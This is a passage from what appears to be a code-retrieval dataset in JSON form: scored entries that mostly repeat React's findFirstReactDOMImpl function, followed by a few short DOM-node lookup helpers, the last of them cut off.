(with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "f89ef561ec099592b712eb17b9343150", "score": "0.6731892", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "f89ef561ec099592b712eb17b9343150", "score": "0.6731892", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "f89ef561ec099592b712eb17b9343150", "score": "0.6731892", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "f89ef561ec099592b712eb17b9343150", "score": "0.6731892", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "f89ef561ec099592b712eb17b9343150", "score": "0.6731892", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "f89ef561ec099592b712eb17b9343150", "score": "0.6731892", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "f89ef561ec099592b712eb17b9343150", "score": "0.6731892", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "f89ef561ec099592b712eb17b9343150", "score": "0.6731892", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "f89ef561ec099592b712eb17b9343150", "score": "0.6731892", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "f89ef561ec099592b712eb17b9343150", "score": "0.6731892", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "037e068b6083c4ac012708b175f5c33c", "score": "0.67256206", "text": "function findFirstReactDOMImpl(node) {\n // This node might be from another React instance, so we make sure not to\n // examine the node cache here\n for (; node && node.parentNode !== node; node = node.parentNode) {\n if (node.nodeType !== 1) {\n // Not a DOMElement, therefore not a React component\n continue;\n }\n var nodeID = internalGetID(node);\n if (!nodeID) {\n continue;\n }\n var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n // If containersByReactRootID contains the container we find by crawling up\n // the tree, we know that this instance of React rendered the node.\n // nb. isValid's strategy (with containsNode) does not work because render\n // trees may be nested and we don't want a false positive in that case.\n var current = node;\n var lastID;\n do {\n lastID = internalGetID(current);\n current = current.parentNode;\n if (current == null) {\n // The passed-in node has been detached from the container it was\n // originally rendered into.\n return null;\n }\n } while (lastID !== reactRootID);\n\n if (current === containersByReactRootID[reactRootID]) {\n return node;\n }\n }\n return null;\n }", "title": "" }, { "docid": "1d9714f4d7d57cbd57f3e4a3542c1458", "score": "0.67166007", "text": "function findFirstReactDOMImpl(node) {\n // This node might be from another React instance, so we make sure not to\n // examine the node cache here\n for (; node && node.parentNode !== node; node = node.parentNode) {\n if (node.nodeType !== 1) {\n // Not a DOMElement, therefore not a React component\n continue;\n }\n var nodeID = internalGetID(node);\n if (!nodeID) {\n continue;\n }\n var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n // If containersByReactRootID contains the container we find by crawling up\n // the tree, we know that this instance of React rendered the node.\n // nb. isValid's strategy (with containsNode) does not work because render\n // trees may be nested and we don't want a false positive in that case.\n var current = node;\n var lastID;\n do {\n lastID = internalGetID(current);\n current = current.parentNode;\n if (current == null) {\n // The passed-in node has been detached from the container it was\n // originally rendered into.\n return null;\n }\n } while (lastID !== reactRootID);\n\n if (current === containersByReactRootID[reactRootID]) {\n return node;\n }\n }\n return null;\n}", "title": "" }, { "docid": "1d9714f4d7d57cbd57f3e4a3542c1458", "score": "0.67166007", "text": "function findFirstReactDOMImpl(node) {\n // This node might be from another React instance, so we make sure not to\n // examine the node cache here\n for (; node && node.parentNode !== node; node = node.parentNode) {\n if (node.nodeType !== 1) {\n // Not a DOMElement, therefore not a React component\n continue;\n }\n var nodeID = internalGetID(node);\n if (!nodeID) {\n continue;\n }\n var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n // If containersByReactRootID contains the container we find by crawling up\n // the tree, we know that this instance of React rendered the node.\n // nb. isValid's strategy (with containsNode) does not work because render\n // trees may be nested and we don't want a false positive in that case.\n var current = node;\n var lastID;\n do {\n lastID = internalGetID(current);\n current = current.parentNode;\n if (current == null) {\n // The passed-in node has been detached from the container it was\n // originally rendered into.\n return null;\n }\n } while (lastID !== reactRootID);\n\n if (current === containersByReactRootID[reactRootID]) {\n return node;\n }\n }\n return null;\n}", "title": "" }, { "docid": "1d9714f4d7d57cbd57f3e4a3542c1458", "score": "0.67166007", "text": "function findFirstReactDOMImpl(node) {\n // This node might be from another React instance, so we make sure not to\n // examine the node cache here\n for (; node && node.parentNode !== node; node = node.parentNode) {\n if (node.nodeType !== 1) {\n // Not a DOMElement, therefore not a React component\n continue;\n }\n var nodeID = internalGetID(node);\n if (!nodeID) {\n continue;\n }\n var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n // If containersByReactRootID contains the container we find by crawling up\n // the tree, we know that this instance of React rendered the node.\n // nb. isValid's strategy (with containsNode) does not work because render\n // trees may be nested and we don't want a false positive in that case.\n var current = node;\n var lastID;\n do {\n lastID = internalGetID(current);\n current = current.parentNode;\n if (current == null) {\n // The passed-in node has been detached from the container it was\n // originally rendered into.\n return null;\n }\n } while (lastID !== reactRootID);\n\n if (current === containersByReactRootID[reactRootID]) {\n return node;\n }\n }\n return null;\n}", "title": "" }, { "docid": "1d9714f4d7d57cbd57f3e4a3542c1458", "score": "0.67166007", "text": "function findFirstReactDOMImpl(node) {\n // This node might be from another React instance, so we make sure not to\n // examine the node cache here\n for (; node && node.parentNode !== node; node = node.parentNode) {\n if (node.nodeType !== 1) {\n // Not a DOMElement, therefore not a React component\n continue;\n }\n var nodeID = internalGetID(node);\n if (!nodeID) {\n continue;\n }\n var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n // If containersByReactRootID contains the container we find by crawling up\n // the tree, we know that this instance of React rendered the node.\n // nb. isValid's strategy (with containsNode) does not work because render\n // trees may be nested and we don't want a false positive in that case.\n var current = node;\n var lastID;\n do {\n lastID = internalGetID(current);\n current = current.parentNode;\n if (current == null) {\n // The passed-in node has been detached from the container it was\n // originally rendered into.\n return null;\n }\n } while (lastID !== reactRootID);\n\n if (current === containersByReactRootID[reactRootID]) {\n return node;\n }\n }\n return null;\n}", "title": "" }, { "docid": "1d9714f4d7d57cbd57f3e4a3542c1458", "score": "0.67166007", "text": "function findFirstReactDOMImpl(node) {\n // This node might be from another React instance, so we make sure not to\n // examine the node cache here\n for (; node && node.parentNode !== node; node = node.parentNode) {\n if (node.nodeType !== 1) {\n // Not a DOMElement, therefore not a React component\n continue;\n }\n var nodeID = internalGetID(node);\n if (!nodeID) {\n continue;\n }\n var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n // If containersByReactRootID contains the container we find by crawling up\n // the tree, we know that this instance of React rendered the node.\n // nb. isValid's strategy (with containsNode) does not work because render\n // trees may be nested and we don't want a false positive in that case.\n var current = node;\n var lastID;\n do {\n lastID = internalGetID(current);\n current = current.parentNode;\n if (current == null) {\n // The passed-in node has been detached from the container it was\n // originally rendered into.\n return null;\n }\n } while (lastID !== reactRootID);\n\n if (current === containersByReactRootID[reactRootID]) {\n return node;\n }\n }\n return null;\n}", "title": "" }, { "docid": "1d9714f4d7d57cbd57f3e4a3542c1458", "score": "0.67166007", "text": "function findFirstReactDOMImpl(node) {\n // This node might be from another React instance, so we make sure not to\n // examine the node cache here\n for (; node && node.parentNode !== node; node = node.parentNode) {\n if (node.nodeType !== 1) {\n // Not a DOMElement, therefore not a React component\n continue;\n }\n var nodeID = internalGetID(node);\n if (!nodeID) {\n continue;\n }\n var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n // If containersByReactRootID contains the container we find by crawling up\n // the tree, we know that this instance of React rendered the node.\n // nb. isValid's strategy (with containsNode) does not work because render\n // trees may be nested and we don't want a false positive in that case.\n var current = node;\n var lastID;\n do {\n lastID = internalGetID(current);\n current = current.parentNode;\n if (current == null) {\n // The passed-in node has been detached from the container it was\n // originally rendered into.\n return null;\n }\n } while (lastID !== reactRootID);\n\n if (current === containersByReactRootID[reactRootID]) {\n return node;\n }\n }\n return null;\n}", "title": "" }, { "docid": "1d9714f4d7d57cbd57f3e4a3542c1458", "score": "0.67166007", "text": "function findFirstReactDOMImpl(node) {\n // This node might be from another React instance, so we make sure not to\n // examine the node cache here\n for (; node && node.parentNode !== node; node = node.parentNode) {\n if (node.nodeType !== 1) {\n // Not a DOMElement, therefore not a React component\n continue;\n }\n var nodeID = internalGetID(node);\n if (!nodeID) {\n continue;\n }\n var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n // If containersByReactRootID contains the container we find by crawling up\n // the tree, we know that this instance of React rendered the node.\n // nb. isValid's strategy (with containsNode) does not work because render\n // trees may be nested and we don't want a false positive in that case.\n var current = node;\n var lastID;\n do {\n lastID = internalGetID(current);\n current = current.parentNode;\n if (current == null) {\n // The passed-in node has been detached from the container it was\n // originally rendered into.\n return null;\n }\n } while (lastID !== reactRootID);\n\n if (current === containersByReactRootID[reactRootID]) {\n return node;\n }\n }\n return null;\n}", "title": "" }, { "docid": "1d9714f4d7d57cbd57f3e4a3542c1458", "score": "0.67166007", "text": "function findFirstReactDOMImpl(node) {\n // This node might be from another React instance, so we make sure not to\n // examine the node cache here\n for (; node && node.parentNode !== node; node = node.parentNode) {\n if (node.nodeType !== 1) {\n // Not a DOMElement, therefore not a React component\n continue;\n }\n var nodeID = internalGetID(node);\n if (!nodeID) {\n continue;\n }\n var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n // If containersByReactRootID contains the container we find by crawling up\n // the tree, we know that this instance of React rendered the node.\n // nb. isValid's strategy (with containsNode) does not work because render\n // trees may be nested and we don't want a false positive in that case.\n var current = node;\n var lastID;\n do {\n lastID = internalGetID(current);\n current = current.parentNode;\n if (current == null) {\n // The passed-in node has been detached from the container it was\n // originally rendered into.\n return null;\n }\n } while (lastID !== reactRootID);\n\n if (current === containersByReactRootID[reactRootID]) {\n return node;\n }\n }\n return null;\n}", "title": "" }, { "docid": "1d9714f4d7d57cbd57f3e4a3542c1458", "score": "0.67166007", "text": "function findFirstReactDOMImpl(node) {\n // This node might be from another React instance, so we make sure not to\n // examine the node cache here\n for (; node && node.parentNode !== node; node = node.parentNode) {\n if (node.nodeType !== 1) {\n // Not a DOMElement, therefore not a React component\n continue;\n }\n var nodeID = internalGetID(node);\n if (!nodeID) {\n continue;\n }\n var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n // If containersByReactRootID contains the container we find by crawling up\n // the tree, we know that this instance of React rendered the node.\n // nb. isValid's strategy (with containsNode) does not work because render\n // trees may be nested and we don't want a false positive in that case.\n var current = node;\n var lastID;\n do {\n lastID = internalGetID(current);\n current = current.parentNode;\n if (current == null) {\n // The passed-in node has been detached from the container it was\n // originally rendered into.\n return null;\n }\n } while (lastID !== reactRootID);\n\n if (current === containersByReactRootID[reactRootID]) {\n return node;\n }\n }\n return null;\n}", "title": "" }, { "docid": "1d9714f4d7d57cbd57f3e4a3542c1458", "score": "0.67166007", "text": "function findFirstReactDOMImpl(node) {\n // This node might be from another React instance, so we make sure not to\n // examine the node cache here\n for (; node && node.parentNode !== node; node = node.parentNode) {\n if (node.nodeType !== 1) {\n // Not a DOMElement, therefore not a React component\n continue;\n }\n var nodeID = internalGetID(node);\n if (!nodeID) {\n continue;\n }\n var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n // If containersByReactRootID contains the container we find by crawling up\n // the tree, we know that this instance of React rendered the node.\n // nb. isValid's strategy (with containsNode) does not work because render\n // trees may be nested and we don't want a false positive in that case.\n var current = node;\n var lastID;\n do {\n lastID = internalGetID(current);\n current = current.parentNode;\n if (current == null) {\n // The passed-in node has been detached from the container it was\n // originally rendered into.\n return null;\n }\n } while (lastID !== reactRootID);\n\n if (current === containersByReactRootID[reactRootID]) {\n return node;\n }\n }\n return null;\n}", "title": "" }, { "docid": "1d9714f4d7d57cbd57f3e4a3542c1458", "score": "0.67166007", "text": "function findFirstReactDOMImpl(node) {\n // This node might be from another React instance, so we make sure not to\n // examine the node cache here\n for (; node && node.parentNode !== node; node = node.parentNode) {\n if (node.nodeType !== 1) {\n // Not a DOMElement, therefore not a React component\n continue;\n }\n var nodeID = internalGetID(node);\n if (!nodeID) {\n continue;\n }\n var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n // If containersByReactRootID contains the container we find by crawling up\n // the tree, we know that this instance of React rendered the node.\n // nb. isValid's strategy (with containsNode) does not work because render\n // trees may be nested and we don't want a false positive in that case.\n var current = node;\n var lastID;\n do {\n lastID = internalGetID(current);\n current = current.parentNode;\n if (current == null) {\n // The passed-in node has been detached from the container it was\n // originally rendered into.\n return null;\n }\n } while (lastID !== reactRootID);\n\n if (current === containersByReactRootID[reactRootID]) {\n return node;\n }\n }\n return null;\n}", "title": "" }, { "docid": "1d9714f4d7d57cbd57f3e4a3542c1458", "score": "0.67166007", "text": "function findFirstReactDOMImpl(node) {\n // This node might be from another React instance, so we make sure not to\n // examine the node cache here\n for (; node && node.parentNode !== node; node = node.parentNode) {\n if (node.nodeType !== 1) {\n // Not a DOMElement, therefore not a React component\n continue;\n }\n var nodeID = internalGetID(node);\n if (!nodeID) {\n continue;\n }\n var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n // If containersByReactRootID contains the container we find by crawling up\n // the tree, we know that this instance of React rendered the node.\n // nb. isValid's strategy (with containsNode) does not work because render\n // trees may be nested and we don't want a false positive in that case.\n var current = node;\n var lastID;\n do {\n lastID = internalGetID(current);\n current = current.parentNode;\n if (current == null) {\n // The passed-in node has been detached from the container it was\n // originally rendered into.\n return null;\n }\n } while (lastID !== reactRootID);\n\n if (current === containersByReactRootID[reactRootID]) {\n return node;\n }\n }\n return null;\n}", "title": "" }, { "docid": "1d9714f4d7d57cbd57f3e4a3542c1458", "score": "0.67166007", "text": "function findFirstReactDOMImpl(node) {\n // This node might be from another React instance, so we make sure not to\n // examine the node cache here\n for (; node && node.parentNode !== node; node = node.parentNode) {\n if (node.nodeType !== 1) {\n // Not a DOMElement, therefore not a React component\n continue;\n }\n var nodeID = internalGetID(node);\n if (!nodeID) {\n continue;\n }\n var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n // If containersByReactRootID contains the container we find by crawling up\n // the tree, we know that this instance of React rendered the node.\n // nb. isValid's strategy (with containsNode) does not work because render\n // trees may be nested and we don't want a false positive in that case.\n var current = node;\n var lastID;\n do {\n lastID = internalGetID(current);\n current = current.parentNode;\n if (current == null) {\n // The passed-in node has been detached from the container it was\n // originally rendered into.\n return null;\n }\n } while (lastID !== reactRootID);\n\n if (current === containersByReactRootID[reactRootID]) {\n return node;\n }\n }\n return null;\n}", "title": "" }, { "docid": "1d9714f4d7d57cbd57f3e4a3542c1458", "score": "0.67166007", "text": "function findFirstReactDOMImpl(node) {\n // This node might be from another React instance, so we make sure not to\n // examine the node cache here\n for (; node && node.parentNode !== node; node = node.parentNode) {\n if (node.nodeType !== 1) {\n // Not a DOMElement, therefore not a React component\n continue;\n }\n var nodeID = internalGetID(node);\n if (!nodeID) {\n continue;\n }\n var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n // If containersByReactRootID contains the container we find by crawling up\n // the tree, we know that this instance of React rendered the node.\n // nb. isValid's strategy (with containsNode) does not work because render\n // trees may be nested and we don't want a false positive in that case.\n var current = node;\n var lastID;\n do {\n lastID = internalGetID(current);\n current = current.parentNode;\n if (current == null) {\n // The passed-in node has been detached from the container it was\n // originally rendered into.\n return null;\n }\n } while (lastID !== reactRootID);\n\n if (current === containersByReactRootID[reactRootID]) {\n return node;\n }\n }\n return null;\n}", "title": "" }, { "docid": "1d9714f4d7d57cbd57f3e4a3542c1458", "score": "0.67166007", "text": "function findFirstReactDOMImpl(node) {\n // This node might be from another React instance, so we make sure not to\n // examine the node cache here\n for (; node && node.parentNode !== node; node = node.parentNode) {\n if (node.nodeType !== 1) {\n // Not a DOMElement, therefore not a React component\n continue;\n }\n var nodeID = internalGetID(node);\n if (!nodeID) {\n continue;\n }\n var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n // If containersByReactRootID contains the container we find by crawling up\n // the tree, we know that this instance of React rendered the node.\n // nb. isValid's strategy (with containsNode) does not work because render\n // trees may be nested and we don't want a false positive in that case.\n var current = node;\n var lastID;\n do {\n lastID = internalGetID(current);\n current = current.parentNode;\n if (current == null) {\n // The passed-in node has been detached from the container it was\n // originally rendered into.\n return null;\n }\n } while (lastID !== reactRootID);\n\n if (current === containersByReactRootID[reactRootID]) {\n return node;\n }\n }\n return null;\n}", "title": "" }, { "docid": "1d9714f4d7d57cbd57f3e4a3542c1458", "score": "0.67166007", "text": "function findFirstReactDOMImpl(node) {\n // This node might be from another React instance, so we make sure not to\n // examine the node cache here\n for (; node && node.parentNode !== node; node = node.parentNode) {\n if (node.nodeType !== 1) {\n // Not a DOMElement, therefore not a React component\n continue;\n }\n var nodeID = internalGetID(node);\n if (!nodeID) {\n continue;\n }\n var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n // If containersByReactRootID contains the container we find by crawling up\n // the tree, we know that this instance of React rendered the node.\n // nb. isValid's strategy (with containsNode) does not work because render\n // trees may be nested and we don't want a false positive in that case.\n var current = node;\n var lastID;\n do {\n lastID = internalGetID(current);\n current = current.parentNode;\n if (current == null) {\n // The passed-in node has been detached from the container it was\n // originally rendered into.\n return null;\n }\n } while (lastID !== reactRootID);\n\n if (current === containersByReactRootID[reactRootID]) {\n return node;\n }\n }\n return null;\n}", "title": "" }, { "docid": "1d9714f4d7d57cbd57f3e4a3542c1458", "score": "0.67166007", "text": "function findFirstReactDOMImpl(node) {\n // This node might be from another React instance, so we make sure not to\n // examine the node cache here\n for (; node && node.parentNode !== node; node = node.parentNode) {\n if (node.nodeType !== 1) {\n // Not a DOMElement, therefore not a React component\n continue;\n }\n var nodeID = internalGetID(node);\n if (!nodeID) {\n continue;\n }\n var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n // If containersByReactRootID contains the container we find by crawling up\n // the tree, we know that this instance of React rendered the node.\n // nb. isValid's strategy (with containsNode) does not work because render\n // trees may be nested and we don't want a false positive in that case.\n var current = node;\n var lastID;\n do {\n lastID = internalGetID(current);\n current = current.parentNode;\n if (current == null) {\n // The passed-in node has been detached from the container it was\n // originally rendered into.\n return null;\n }\n } while (lastID !== reactRootID);\n\n if (current === containersByReactRootID[reactRootID]) {\n return node;\n }\n }\n return null;\n}", "title": "" }, { "docid": "3dc11b8549be7f7f671c5bbaaebbb5e2", "score": "0.6696915", "text": "function findDOMNode(node) {\n if (node instanceof HTMLElement) {\n return node;\n }\n\n return __WEBPACK_IMPORTED_MODULE_0_react_dom___default.a.findDOMNode(node);\n}", "title": "" }, { "docid": "b79673c0088739ba5d12b60f7258e339", "score": "0.65679634", "text": "function findDOMNode(node) {\n if (node instanceof HTMLElement) {\n return node;\n }\n\n return external_ReactDOM_default.a.findDOMNode(node);\n}", "title": "" }, { "docid": "07460e0a407715a97499677585c45fed", "score": "0.64942783", "text": "getTargetNode(props: PropsT) {\n const { children, targetRef, targetSelector } = props\n if (children) {\n return ReactDOM.findDOMNode(this._target)\n }\n if (targetRef) {\n return ReactDOM.findDOMNode(targetRef)\n }\n if (targetSelector) {\n return document.querySelector(targetSelector)\n }\n return null\n }", "title": "" }, { "docid": "a8d9241e8b26961037423f71c4b9e38d", "score": "0.6275965", "text": "toDOMNode(editor, node) {\n var KEY_TO_ELEMENT = EDITOR_TO_KEY_TO_ELEMENT.get(editor);\n var domNode = Editor.isEditor(node) ? EDITOR_TO_ELEMENT.get(editor) : KEY_TO_ELEMENT === null || 